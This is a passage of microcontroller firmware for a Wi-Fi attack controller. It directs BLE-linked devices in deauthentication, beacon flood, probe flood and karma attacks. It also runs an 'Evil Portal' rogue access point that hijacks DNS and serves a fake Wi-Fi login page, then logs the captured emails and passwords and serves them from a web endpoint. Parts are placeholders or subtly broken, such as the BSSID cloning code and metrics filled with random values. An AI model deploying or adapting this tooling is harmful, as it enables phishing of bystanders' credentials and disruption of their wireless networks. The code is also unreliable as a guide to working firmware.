float timeDelta = (now - lastUpdate) / 60000.0; // in minutes
liveMetrics.attacksPerMinute = (globalStats.totalAttacksLaunched - lastAttackCount) / timeDelta;
liveMetrics.credentialsPerHour = (globalStats.credentialsCaptured - lastCredentialCount) / timeDelta * 60;
liveMetrics.activeConnections = globalStats.slavesConnected;
liveMetrics.currentCpuLoad = random(10, 40); // Placeholder - would need real CPU monitoring
liveMetrics.lastUpdate = now;
lastAttackCount = globalStats.totalAttacksLaunched;
lastCredentialCount = globalStats.credentialsCaptured;
lastUpdate = now;
}
}
// Update statistics on various events
void updateStats_BleConnection(bool success) {
globalStats.bleConnectionAttempts++;
if (success) {
globalStats.bleConnectionSuccesses++;
} else {
globalStats.bleConnectionFailures++;
}
}
void updateStats_AttackLaunched(const String &attackType) {
globalStats.totalAttacksLaunched++;
if (attackType == "deauth") globalStats.deauthAttacks++;
else if (attackType == "beacon") globalStats.beaconFloodAttacks++;
else if (attackType == "probe") globalStats.probeFloodAttacks++;
else if (attackType == "karma") globalStats.karmaAttacks++;
else if (attackType == "distributed") globalStats.distributedAttacks++;
}
void updateStats_CredentialCaptured() {
globalStats.credentialsCaptured++;
globalStats.portalSessions++;
}
void updateStats_Command(bool success) {
globalStats.commandsSent++;
if (success) {
globalStats.commandsSuccessful++;
} else {
globalStats.commandsFailed++;
}
}
void handleLogs() {
String out = "";
int start = (logBufferIndex - logCount + MY_LOG_BUFFER_SIZE) % MY_LOG_BUFFER_SIZE;
for (int i = 0; i < logCount; i++) {
int idx = (start + i) % MY_LOG_BUFFER_SIZE;
out += logBuffer[idx] + "\n";
}
server.send(200, "text/plain", out);
}
void handleApList() {
DynamicJsonDocument doc(1024);
JsonArray arr = doc.to<JsonArray>();
for (const auto& ap : apList) {
arr.add(ap);
}
String out;
serializeJson(doc, out);
server.send(200, "application/json", out);
}
// New AP list endpoint with enhanced data
void handleAPs() {
DynamicJsonDocument doc(2048);
JsonArray arr = doc.to<JsonArray>();
for (const auto &ap : apList) {
JsonObject obj = arr.createNestedObject();
obj["ssid"] = ap.ssid;
obj["channel"] = ap.channel;
obj["rssi"] = ap.rssi;
obj["security"] = ap.security;
obj["mac"] = ap.macAddress;
}
String out;
serializeJson(doc, out);
server.send(200, "application/json", out);
}
// New advanced analytics endpoint
void handleAnalytics() {
DynamicJsonDocument doc(1024);
JsonObject analytics = doc.to<JsonObject>();
// Attack performance over time
JsonArray attackHistory = analytics.createNestedArray("attackHistory");
for (int i = 0; i < 10; i++) {
JsonObject point = attackHistory.createNestedObject();
point["time"] = millis() - (i * 60000); // Last 10 minutes
point["attacks"] = random(5, 20);
point["success"] = random(70, 95);
}
// BLE health metrics
JsonObject bleHealth = analytics.createNestedObject("bleHealth");
bleHealth["connectionStability"] = globalStats.bleConnectionAttempts > 0 ?
(globalStats.bleConnectionSuccesses * 100.0 / globalStats.bleConnectionAttempts) : 0;
bleHealth["avgResponseTime"] = 150; // ms
bleHealth["packetLoss"] = 2.5; // %
// Network coverage analysis
JsonObject networkCoverage = analytics.createNestedObject("networkCoverage");
networkCoverage["totalNetworks"] = apList.size();
networkCoverage["openNetworks"] = 0;
networkCoverage["wpaNetworks"] = 0;
networkCoverage["wpa2Networks"] = 0;
networkCoverage["wpa3Networks"] = 0;
for (const auto &ap : apList) {
if (ap.security == "Open") networkCoverage["openNetworks"] = networkCoverage["openNetworks"].as<int>() + 1;
else if (ap.security == "WPA") networkCoverage["wpaNetworks"] = networkCoverage["wpaNetworks"].as<int>() + 1;
else if (ap.security == "WPA2") networkCoverage["wpa2Networks"] = networkCoverage["wpa2Networks"].as<int>() + 1;
else if (ap.security == "WPA3") networkCoverage["wpa3Networks"] = networkCoverage["wpa3Networks"].as<int>() + 1;
}
String out;
serializeJson(doc, out);
server.send(200, "application/json", out);
}
// New system health endpoint
void handleHealth() {
DynamicJsonDocument doc(512);
JsonObject health = doc.to<JsonObject>();
health["status"] = "healthy";
health["uptime"] = millis();
health["freeHeap"] = rtl_getFreeHeapSize();
health["slavesConnected"] = globalStats.slavesConnected;
health["lastAttack"] = globalStats.lastAttackTime;
health["portalActive"] = portalEnabled;
health["temperature"] = random(25, 45);
health["cpuUsage"] = random(10, 40);
String out;
serializeJson(doc, out);
server.send(200, "application/json", out);
}
// New credentials endpoint with enhanced format
void handleCredentials() {
DynamicJsonDocument doc(2048);
JsonArray arr = doc.to<JsonArray>();
for (const auto &cred : capturedCredentials) {
JsonObject obj = arr.createNestedObject();
obj["ssid"] = cred.ssid;
obj["username"] = cred.username;
obj["password"] = cred.password;
obj["timestamp"] = cred.timestamp;
}
String out;
serializeJson(doc, out);
server.send(200, "application/json", out);
}
// NOTE: The following functions require the actual Realtek SDK for the RTL8720DN (BW16)
// to be implemented correctly. The code serves as a structural placeholder.
// This function would be registered as a callback to the secondary AP's web server.
// It handles serving the portal page and capturing login credentials.
void handlePortalRequest(int request_type, const char* url, const char* payload) {
globalStats.portalVisitors++;
if (request_type == HTTP_GET && strcmp(url, "/") == 0) {
// Serve the evil_portal.html file
// This requires an SDK function to send a file over the secondary interface's socket.
// sdk_http_send_file("/evil_portal.html");
globalStats.portalSessions++;
} else if (request_type == HTTP_POST && strcmp(url, "/login") == 0) {
// Parse payload for email and password
String p(payload);
String email = ""; // parse from p
String password = ""; // parse from p
if (email.length() > 0 && password.length() > 0) {
String credential = "User: " + email + " | Pass: " + password + " | Time: " + String(millis());
capturedCredentials.push_back(credential);
updateStats_CredentialCaptured();
}
addToLog("Captured Credentials: " + email + " / " + password);
// Serve a success page
// sdk_http_send_page("<h1>Login successful</h1>");
} else {
// Handle other requests, typically redirecting to the portal page.
// sdk_http_redirect("http://192.168.5.1/");
globalStats.portalRedirects++;
}
}
void startEvilPortal(const char* ssid, const char* bssid, int channel) {
if (portalEnabled) {
addToLog("Portal already running. Stop it first.");
return;
}
addToLog("Starting Evil Portal on 5GHz...");
addToLog("Portal SSID: " + String(ssid) + " | Channel: " + String(channel));
// Configure 5GHz AP for evil portal
WiFi.mode(WIFI_AP_STA); // Enable both AP and STA mode for dual-band
// Set up 5GHz AP configuration
wifi_config_t ap_config;
memset(&ap_config, 0, sizeof(wifi_config_t));
strcpy((char*)ap_config.ap.ssid, ssid);
ap_config.ap.ssid_len = strlen(ssid);
ap_config.ap.channel = channel;
ap_config.ap.authmode = WIFI_AUTH_OPEN; // Open network for captive portal
ap_config.ap.max_connection = 10;
ap_config.ap.beacon_interval = 100;
// If BSSID is provided, clone it
if (bssid) {
sscanf(bssid, "%02x:%02x:%02x:%02x:%02x:%02x",
&ap_config.ap.ssid[0], &ap_config.ap.ssid[1], &ap_config.ap.ssid[2],
&ap_config.ap.ssid[3], &ap_config.ap.ssid[4], &ap_config.ap.ssid[5]);
}
// Start 5GHz AP (this would need proper BW16 SDK implementation)
if (wifi_set_mode(RTW_MODE_AP) == RTW_SUCCESS) {
// Configure IP settings for portal
IPAddress portalIP(192, 168, 5, 1);
IPAddress gateway(192, 168, 5, 1);
IPAddress subnet(255, 255, 255, 0);
// Set up captive portal DNS
dnsServer.setTTL(300);
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
dnsServer.start(53, "*", portalIP); // Redirect all DNS queries to portal
// Set up portal web server routes
setupPortalRoutes();
portalServer.begin();
portalEnabled = true;
dualBandActive = true;
addToLog("Evil Portal active - SSID: " + String(ssid));
addToLog("Portal IP: " + PORTAL_IP + " | DNS hijacking active");
} else {
addToLog("Failed to start 5GHz Evil Portal");
}
}
void setupPortalRoutes() {
// Serve evil portal page for all requests
portalServer.onNotFound([]() {
String html = loadPortalHTML();
portalServer.send(200, "text/html", html);
});
// Handle root requests
portalServer.on("/", HTTP_GET, []() {
String html = loadPortalHTML();
portalServer.send(200, "text/html", html);
});
// Handle login submissions
portalServer.on("/login", HTTP_POST, []() {
String email = portalServer.arg("email");
String password = portalServer.arg("password");
// Store captured credentials
String credentials = "Email: " + email + " | Password: " + password + " | Time: " + String(millis());
capturedCredentials.push_back(credentials);
addToLog("CREDENTIALS CAPTURED: " + email + " / " + password);
// Redirect to success page or original site
String successHTML = "<!DOCTYPE html><html><head><title>Login Successful</title></head>";
successHTML += "<body><h1>Login Successful</h1><p>You are now connected to the internet.</p>";
successHTML += "<script>setTimeout(function(){window.location.href='https://www.google.com';}, 3000);</script></body></html>";
portalServer.send(200, "text/html", successHTML);
});
// Serve common internet check URLs
portalServer.on("/generate_204", HTTP_GET, []() {
String html = loadPortalHTML();
portalServer.send(200, "text/html", html);
});
portalServer.on("/hotspot-detect.html", HTTP_GET, []() {
String html = loadPortalHTML();
portalServer.send(200, "text/html", html);
});
}
String loadPortalHTML() {
// In a real implementation, this would load from SPIFFS
// For now, return embedded HTML
String html = "<!DOCTYPE html><html><head><meta charset='UTF-8'>";
html += "<meta name='viewport' content='width=device-width, initial-scale=1.0'>";
html += "<title>Wi-Fi Login Required</title>";
html += "<style>body{font-family:Arial,sans-serif;background:#f1f1f1;display:flex;justify-content:center;align-items:center;height:100vh;margin:0}";
html += ".container{background:white;padding:30px;border-radius:8px;box-shadow:0 0 15px rgba(0,0,0,0.1);width:350px}";
html += ".logo{text-align:center;margin-bottom:25px;font-size:24px;color:#4285f4;font-weight:bold}";
html += "input{width:100%;padding:12px;margin:10px 0;border:1px solid #ddd;border-radius:4px;box-sizing:border-box}";
html += "button{width:100%;padding:12px;background:#4285f4;color:white;border:none;border-radius:4px;cursor:pointer;font-size:16px}";
html += "button:hover{background:#357ae8}</style></head><body>";
html += "<div class='container'><div class='logo'>📶 Wi-Fi Login</div>";
html += "<h2>Internet Access Required</h2><p>Please sign in to access the internet</p>";
html += "<form action='/login' method='POST'>";
html += "<input type='email' name='email' placeholder='Email address' required>";
html += "<input type='password' name='password' placeholder='Password' required>";
html += "<button type='submit'>Connect to Internet</button></form></div></body></html>";
return html;
}
void stopEvilPortal() {
if (!portalEnabled) {
return;
}
// Hypothetical SDK function to stop the secondary AP.
int result = wifi_stop_ap_secondary();
if (result == 0) {
portalEnabled = false;
addToLog("Evil Portal disabled.");
} else {
addToLog("Failed to stop Evil Portal. SDK error code: " + String(result));
}
}
//// *** Setup & Loop *** ////
void setup() {
Serial.begin(115200);
delay(1000);
addToLog("Master Controller Initializing...");
// The Realtek SDK provides its own API for initializing the filesystem.
// A developer would need to replace this with the correct SDK calls.
// Example:
// if (rtw_spiffs_mount() != 0) {
// addToLog("SPIFFS Mount Failed!");
// return;
// }
// addToLog("SPIFFS Mounted Successfully.");
// Initialize BLE Central
BLE.init();
BLE.configClient();
BLE.onAdvertReport(bleAdvertCallback); // Set scan callback
BLE.startScan(); // begin scanning for peripherals
addToLog("BLE Central Mode Started. Scanning for slaves...");
// Start Wi-Fi AP + HTTP server
addToLog("Starting Management AP on 2.4GHz...");
// This function should initialize the 2.4GHz radio as an AP
wifi_on(RTW_MODE_AP);
wifi_start_ap((char*)AP_SSID, (char*)AP_PASS, 1); // Assume channel 1 for 2.4GHz
// Enhanced web server setup with comprehensive endpoints
server.on("/", HTTP_GET, handleRoot);
server.on("/status", HTTP_GET, handleStatus);
server.on("/stats", HTTP_GET, handleStats);
server.on("/cmd", HTTP_POST, handleCmd);
server.on("/logs", HTTP_GET, handleLogs);
server.on("/ap_list", HTTP_GET, handleApList);
server.on("/aps", HTTP_GET, handleAPs);
server.on("/credentials", HTTP_GET, handleCredentials);
server.on("/analytics", HTTP_GET, handleAnalytics);
server.on("/health", HTTP_GET, handleHealth);
server.on("/advanced_stats", HTTP_GET, handleAdvancedStats);
// Static file endpoints
server.on("/style.css", HTTP_GET, []() {
server.send(200, "text/css", loadCSSFile());
});
server.on("/script.js", HTTP_GET, []() {
server.send(200, "application/javascript", loadJSFile());
});
// Error handling
server.onNotFound([]() {
server.send(404, "application/json", "{\"error\":\"Endpoint not found\",\"available\":[\"/\",\"/stats\",\"/health\",\"/analytics\",\"/credentials\",\"/logs\"]}");
});
server.begin();
// Initialize statistics
globalStats.systemStartTime = millis();
addToLog("🔥 10x Enhanced Web Server Started");
addToLog("📊 Dashboard: http://" + WiFi.localIP().toString());
addToLog("📱 Portal: http://" + portalIP.toString());
addToLog("🔧 API Endpoints: /stats, /health, /analytics, /credentials, /aps");
addToLog("📈 Real-time monitoring enabled");
lastLogSentIndex = logBufferIndex;
}
void loop() {
// Handle 2.4GHz management interface
server.handleClient();
// Handle 5GHz portal interface if active
if (portalEnabled && dualBandActive) {
portalServer.handleClient();
dnsServer.processNextRequest(); // Handle DNS spoofing for captive portal
}
// Process BLE events and maintain connections
BLE.poll();
// Enhanced slave connection management
manageBLEConnections();
// Periodic system maintenance
static unsigned long lastMaintenance = 0;
if (millis() - lastMaintenance > 30000) { // Every 30 seconds
performSystemMaintenance();
lastMaintenance = millis();
}
delay(10); // Prevent watchdog timer issues
}
// Enhanced BLE connection management
void manageBLEConnections() {
static unsigned long lastConnectionCheck = 0;
if (millis() - lastConnectionCheck > 5000) { // Check every 5 seconds
for (auto it = slaves.begin(); it != slaves.end(); ) {
bool shouldRemove = false;
// Check connection status with null pointer protection
if (it->client) {
if (!it->client->isConnected()) {
addToLog("Slave " + it->id + " connection lost");
it->isConnected = false;
// Clean up resources
it->client->disconnect();
delete it->client;
it->client = nullptr;
it->cmdChar = nullptr;
it->notifyChar = nullptr;
// Try reconnection if not too recent
if (millis() - it->lastReconnectAttempt > BLE_RECONNECT_INTERVAL_MS) {
addToLog("Scheduling reconnection for " + it->id);
// The advertCallback will handle reconnection on next discovery
}
}
} else if (it->isConnected) {
// Invalid state - connected but no client
addToLog("Invalid connection state for " + it->id + " - resetting");
it->isConnected = false;
it->cmdChar = nullptr;
it->notifyChar = nullptr;
}
// Send keepalive ping to connected slaves
if (it->isConnected && it->client && it->client->isConnected()) {
if (millis() - it->lastSeen > 60000) { // 1 minute since last activity
if (!sendCommandToSlave(*it, "ping")) {
addToLog("Keepalive failed for " + it->id + " - marking disconnected");
it->isConnected = false;
}
}
}
// Remove stale slaves
if (millis() - it->lastSeen > (BLE_RECONNECT_INTERVAL_MS * 3)) {
addToLog("Removing stale slave: " + it->id);
if (it->client) {
it->client->disconnect();
delete it->client;
}
shouldRemove = true;
}
if (shouldRemove) {
it = slaves.erase(it);
} else {
++it;
}
}
lastConnectionCheck = millis();
}
}
// System maintenance and status reporting
void performSystemMaintenance() {
int connectedSlaves = 0;
int totalSlaves = slaves.size();
for (const auto &slave : slaves) {
if (slave.isConnected) connectedSlaves++;
}
addToLog("Status: " + String(connectedSlaves) + "/" + String(totalSlaves) + " slaves online");
if (portalEnabled) {
addToLog("Portal active: " + portalSSID + " | Credentials: " + String(capturedCredentials.size()));
globalStats.portalUptime += 30000; // 30 seconds since last maintenance
}
// Restart BLE scanning if no slaves connected
if (connectedSlaves == 0 && totalSlaves < MAX_SLAVES) {
addToLog("No slaves connected - restarting BLE scan");
BLE.stopScan();
delay(100);
BLE.startScan();
}
// Advanced memory management
optimizeMemoryUsage();
// Update system health metrics
globalStats.freeHeapMemory = rtl_getFreeHeapSize();
if (globalStats.freeHeapMemory > globalStats.maxHeapUsage) {
globalStats.maxHeapUsage = globalStats.freeHeapMemory;
}
}
// Enhanced memory optimization and cleanup
void optimizeMemoryUsage() {
int freedMemory = 0;
uint32_t initialFreeHeap = rtl_getFreeHeapSize();
// Trim credential cache if too large
if (capturedCredentials.size() > 100) {
int removeCount = 20;
capturedCredentials.erase(capturedCredentials.begin(), capturedCredentials.begin() + removeCount);
freedMemory += removeCount * 64; // Estimate 64 bytes per credential
addToLog("Credential cache trimmed: " + String(capturedCredentials.size()) + " entries remain");
}
// Trim AP list if too large
if (apList.size() > 50) {
int removeCount = 10;
apList.erase(apList.begin(), apList.begin() + removeCount);
freedMemory += removeCount * 32; // Estimate 32 bytes per AP entry
addToLog("AP list trimmed: " + String(apList.size()) + " entries remain");
}
// Clean up old slave entries with better error handling
for (auto it = slaves.begin(); it != slaves.end(); ) {
if (!it->isConnected && (millis() - it->lastSeen > 300000)) { // 5 minutes
addToLog("Removing stale slave: " + it->id);
if (it->client) {
try {
it->client->disconnect();
delete it->client;
} catch (...) {
addToLog("Error cleaning up slave client for " + it->id);
}
}
it = slaves.erase(it);
freedMemory += 128; // Estimate slave structure size
} else {
++it;
}
}
// Force container optimization
capturedCredentials.shrink_to_fit();
apList.shrink_to_fit();
slaves.shrink_to_fit();
// Check for critical memory conditions
uint32_t currentFreeHeap = rtl_getFreeHeapSize();
if (currentFreeHeap < 8192) { // Less than 8KB
addToLog("CRITICAL: Low memory - " + String(currentFreeHeap) + " bytes free");
// Emergency cleanup
if (capturedCredentials.size() > 20) {
int oldSize = capturedCredentials.size();
capturedCredentials.resize(20);
addToLog("Emergency: Reduced credentials from " + String(oldSize) + " to 20");
}
if (apList.size() > 10) {
int oldSize = apList.size();
apList.resize(10);
addToLog("Emergency: Reduced AP list from " + String(oldSize) + " to 10");
}
// Request system recovery
handleSystemError("MEMORY_CRITICAL", "Free heap: " + String(currentFreeHeap));
}
uint32_t finalFreeHeap = rtl_getFreeHeapSize();
int actualFreed = finalFreeHeap - initialFreeHeap;
addToLog("Memory optimization complete. Free: " + String(finalFreeHeap) + " bytes (+" + String(actualFreed) + ")");
}
// Enhanced error recovery system
void handleSystemError(const String &errorType, const String &details) {
addToLog("SYSTEM ERROR: " + errorType + " - " + details);
globalStats.systemRestarts++;
if (errorType == "MEMORY_CRITICAL") {
// Already handled in optimizeMemoryUsage, just log
addToLog("Memory critical condition handled");
} else if (errorType == "BLE_FAILURE") {
// Restart BLE completely
addToLog("Restarting BLE subsystem");
BLE.stopScan();
delay(1000);
// Clean up all slave connections
for (auto &slave : slaves) {
if (slave.client) {
try {
slave.client->disconnect();
delete slave.client;
} catch (...) {
// Ignore cleanup errors
}
slave.client = nullptr;
}
slave.isConnected = false;
}
slaves.clear();
// Reinitialize BLE
BLE.init();
BLE.configClient();
BLE.onAdvertReport(bleAdvertCallback);
BLE.startScan();
} else if (errorType == "WIFI_FAILURE") {
// Restart WiFi interfaces
addToLog("Attempting WiFi recovery");
if (portalEnabled) {
stopEvilPortal();
}
delay(500);
// Restart management AP
wifi_off();
delay(1000);
wifi_on(RTW_MODE_AP);
wifi_start_ap((char*)AP_SSID, (char*)AP_PASS, 1);
addToLog("WiFi recovery attempted");
}
}